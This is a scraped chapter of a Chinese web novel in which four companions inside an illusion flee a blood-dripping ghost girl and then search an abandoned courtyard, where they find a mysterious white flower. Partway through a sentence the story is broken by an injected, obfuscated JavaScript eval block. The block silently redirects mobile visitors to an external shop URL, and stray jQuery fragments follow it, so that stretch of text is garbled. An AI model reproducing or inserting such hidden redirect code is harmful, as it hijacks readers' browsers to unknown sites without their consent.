文趣网 > 都市小说 > 少卿大人今天心软了吗 > 21. 闹诡?(微恐)
    他们竟然回到了此次幻境最开始的地方!

    时间倒流?还是事件重置?莫非他们触发了关键节点,因此才得以继续推进案情?

    云姒眼眸微眯,艳丽的脸上浮现一抹奇异的欣喜之色。

    她喜欢这种未知的、冒险的感觉,就像游戏通关一样,充满挑战性!

    “呜呜——”

    细微的动静再次响起,钻入耳中格外清晰,既像是深夜风声的呜咽,又像是女子悲戚的啼泣,时断时续,令人毛骨悚然。

    四周空旷无人,一片死寂,连虫鸣都没有。

    四人不再往进入城门的那条路,而是循着诡异的声响走去。

    泣声渐行渐近,在暗沉沉的夜色里格外渗人,月亮隐藏在重重云层之后,只留下几乎可以忽略不计的微弱光线。

    一道惨白的身影若隐若现,宛如一具没有生命的尸体,却又散发出令人胆寒的诡异气息。

    它静静伫立着,拦住了前行的路。

    哭声戛然而止,毫无预兆,如同被一只无形的大手猛然扼住喉咙。

    她极其缓慢地转过头来,像是许久未曾行动一般僵硬,她的身躯宛如雕塑,死死地钉在原地,一动不动。

    直至掩在乌黑发丝下的瞳孔中映出四人的模样,她才终于想起自己还有一具身体,旋即,与头颅相同,她的身体也以诡异至极的姿势扭转过来。

    “你们……认识父亲么?”

    稚嫩的童音自她口中吐出,缥缈地像是从天边传来,嗓音尖细而阴森,如同刻意夹着嗓子,让人汗毛竖起。

    不得不说,她扮鬼的技能着实有一手。

    这精心营造的气氛,这精心设计的动作,谁看了不惊呼一声“有鬼”啊?若非他们早知实际由薛漓假扮,指不定也得被吓一跳呢。

    在此等心理下,四人一个比一个淡定。

    她微微歪头,似乎有些疑惑他们坐怀不乱的态度:“你们……认识父亲?”

    说着,她的身影快如闪电,一瞬间来到眼前,只留下中间几个尚未消散的残影。

    下一秒,她的嘴角突然向上扬起,几乎咧到耳根,笑容天真懵懂。

    “父亲……在哪儿?”

    话音未落,她放大到极致的脸突兀闯入李陵的视线,二人相距不过半指。

    她的身形极其矮小,此时此刻,竟能与他平视。

    他惊诧地低头看去,却发现原来是她光/裸的脚丫此时凭空浮起!

    她纤细的双腿不断滴落猩红的鲜血,须臾之间,已经染红了脚下那片土地,鲜/血蔓延开来,眨眼之间就要与他的靴底进行一场“亲密接触”。

    作为唯一被突脸杀的人,一股从心底深处升起的恐惧如潮水般汹涌,几乎将李陵彻底淹没。

    他本能地做出反应,以极快的速度往后退去,拉开与她的距离。

    她原本黑白分明的双眼登时布满血丝,短短几息之间已经全然化作一片比夜幕更加深沉的黑色,填满她整个眼眶。

    “为什么……不告诉我?”

    她愤怒地哀吼着,漆黑的瞳孔死死盯着他们,仿佛要将人拖入万劫不复的地狱。

    李陵心中大骇,一把拉住身旁的宋昭微,如离弦之箭般狂奔起来。

    他脚步急促,一边跑一边还不忘愤怒地大声谩骂着:“你**的薛漓,这**分明是个真诡啊!!!”

    余光瞥见已经跟上的云观岑,宋昭微才放下心来,跟上李陵的步伐。

    云姒欲哭无泪,满心满眼都是惊惧与无语。

    你丫的,幻境不愧是幻境,TM的果然什么东西都有可能出现!!!

    前面闹姑获鸟,结果真的见到了传说中的姑获鸟;现在闹诡,结果真的见到了女诡!

    真是无语了,汀州城多灾多难的也就罢了,能不能不要连累无辜的非汀州人士啊!甚至这只女诡还比那姑获鸟恐怖了许多,那妖兽尚且不伤人呢,这女诡是真会吓人啊!

    吓死算死在幻境么?

    上面是云姒不靠谱的想法↑

    身后的女诡穷追不舍,直逼得几人不断加速,甚至用上了轻功逃跑。

    李陵喘了口气,怀揣着微弱的希望,逃命之余抽出时间问:“云女侠,你不是捉妖师么?”

    “对哦!”云姒突然反应过来自己的身份,脚步一慢,手扶上腰间小包,猛地转头。

    女诡仍然带着那渗人又诡异的笑容,双脚离地,每过一处便留下一道鲜艳的红线。

    察觉到她的视线,女诡歪头,像是有些兴奋,立刻又进行一次加速。

    云姒表情木然,迅速挪开目光,重新转回头,从开始到结束不过短短几秒的时间。

    她的声音里甚至带着一丝哭腔,大声喊道:“我学的是捉妖,不是捉诡啊!!!”

    其余三人:……

    确认过眼神,她真的被吓得不轻。

    宋昭微无声叹息,抬手轻轻搭在她的手上,想着别的暂且先不提,好歹现在安抚一下,给她一点慰藉吧。

    不出所料,感受到她柔软的掌心,云姒果然冷静了不少。

    来不及感叹云姒的学艺不精,当务之急是先活下来。

    宋昭微思绪百转,挖掘着目前已知的所有线索进行连锁剖析,灵光一闪,提议道:“去吴应那里!”

    不需要复杂的解释,那纯属浪费时间,以他们的默契,一句话就能交代清楚。

    之前幼年薛漓说她的任务是把人带回吴应的院子,这显然是不会改变的事实,如今虽说负责这个任务的人(诡?)不同,但结果大概率是一样的。

    况且走投无路,当然只能拼死一搏。

    于是,四人重新踏上进城的路。

    汀州城门依然大开。

    原本黑色无光的城墙此刻透着诡异的红,如同鲜血染就的雾气,笼罩整个汀州城,跨进城门的那一刻,他们仿佛成为了送上门的猎物,莽撞地被野兽吞入腹中。

    然而,除此之外,他们别无选择。

    女诡停步在城门外,漆黑的眼睛好像闪烁着不甘愤恨的火花,死死瞪着远去的身影。

    可惜,任凭她如何挣扎,也无法越雷池一步,最终只能消失在茫茫夜色之中。

    直到亲眼看见女诡消失在夜幕,四人才放下心来。

    李陵长长吐出一口浊气,怒火中烧,咬牙切齿骂道:“记住你了,薛漓。”

    虽然不知道对方能不能听见,但他实在不吐不快!

    云观岑格外淡定,唇角扬起的弧度带着几分不易察觉的嘲讽。

    云姒拍了拍自己

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939004|213823||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的胸口,平复怦怦乱跳的心脏:“太恐怖了!我第一次这么近距离地碰到诡!”

    宋昭微担忧地看了云观岑一眼,终究只是搂住云姒的肩膀,轻轻拍了拍,宽慰道:“别怕,我们很安全……至少现在是。”

    虽然她也很害怕,但她心理承受能力一向不错,对环境的适应性亦尚可,因此很快调整好心态。

    “不是,”李陵哭丧着脸,试图求安慰,“唯一被贴脸吓到的人好像是我吧?”

    云观岑抬眸淡淡瞥了李陵一眼,漫不经心地用和宋昭微如出一辙的动作拍了两下他的肩,他没说话,态度极其敷衍,但好歹算是对李陵的一种回应。

    然后李陵真的被顺毛了。主要是云观岑句句有回应,他还能说什么?

    冷静下来后,他们终于有机会观察城中情况。

    夜色浓稠,未有一盏灯笼,心悸的静谧中连风声都听不见,像是被禁锢在一个密不透风的空间。

    当时看见的更夫没再出现,甚至刺耳铿锵的打更声亦未听见。

    按照记忆中的方向,他们寻找着吴应的住处。

    那座庭院静静坐落在那里,紧闭的门窗中唯有深沉的黑暗,原本的生机被一片荒芜取代,再找不出曾有人居住过的生活气息。

    正门处的木门早已腐朽,散发着难闻的味道,悬挂其上的铁锁被黑红的锈迹侵袭,仿佛稍一用力就会如枯叶般碎裂。

    李陵干脆利落地挥刀,锋利的刀刃落在铁锁之上,转眼已破开束缚。

    “吱呀——”

    李陵充当领头之人,抬手推动木门。

    与腐烂的外观截然不同,木门颇为结实,废了他不小的力。

    这里仿佛久未有人涉足,木门移动间微小的灰尘如雪花一般坠落。

    李陵抬手,轻轻挥去纷飞的尘埃,待木门完全开启后才喊人过来。

    院中房间诸多,错落有致,每扇门上用以上锁的圆环此时均被厚重的铁链缠住,铁链锈迹斑斑,却紧紧圈在一起,分不清头尾。

    庭中有奇花,洁白无瑕却在花瓣中央贴近花芯处挑染几点薄红,如同红梅葬于雪中。

    李陵仔细观察,总觉得有点眼熟,搜索记忆,总算想起在哪里见过。

    他取出贴身收藏的那朵被云观岑赠予的小白花,与奇花细细对比,而后确信。

    ——是同一种。

    云观岑侧目,不经意间恰巧看见认真赏花的李陵,意外道:“这花……你竟然还留着。”

    他的心情莫名有些复杂,自心底涌现一股难以言喻的情感。

    李陵重新妥帖地收起花,笑容明朗,一如三月暖春时高照的艳阳:“毕竟它确如你所言,稀罕珍贵得紧。”

    它最奇特的地方并非稀少,而是久盛不败、无根自生。

    “永生花”,不知算作诅咒还是恩赐?

    他甚至特意去咨询过专精草木花朵之人,却发现竟无一人知晓它的名字,遑论习性、出处等,再加上是谢珩临死前所赠,故格外珍惜,因此随身携带。

    未曾想,连这小小的、微不足道的一朵花,都是如此奇异的存在。

    ……好吧,其实人还好好活着呢,就是不愿意承认之前的身份,如若这不是在幻境里,恐怕云观岑连稍微透露一些都不乐意。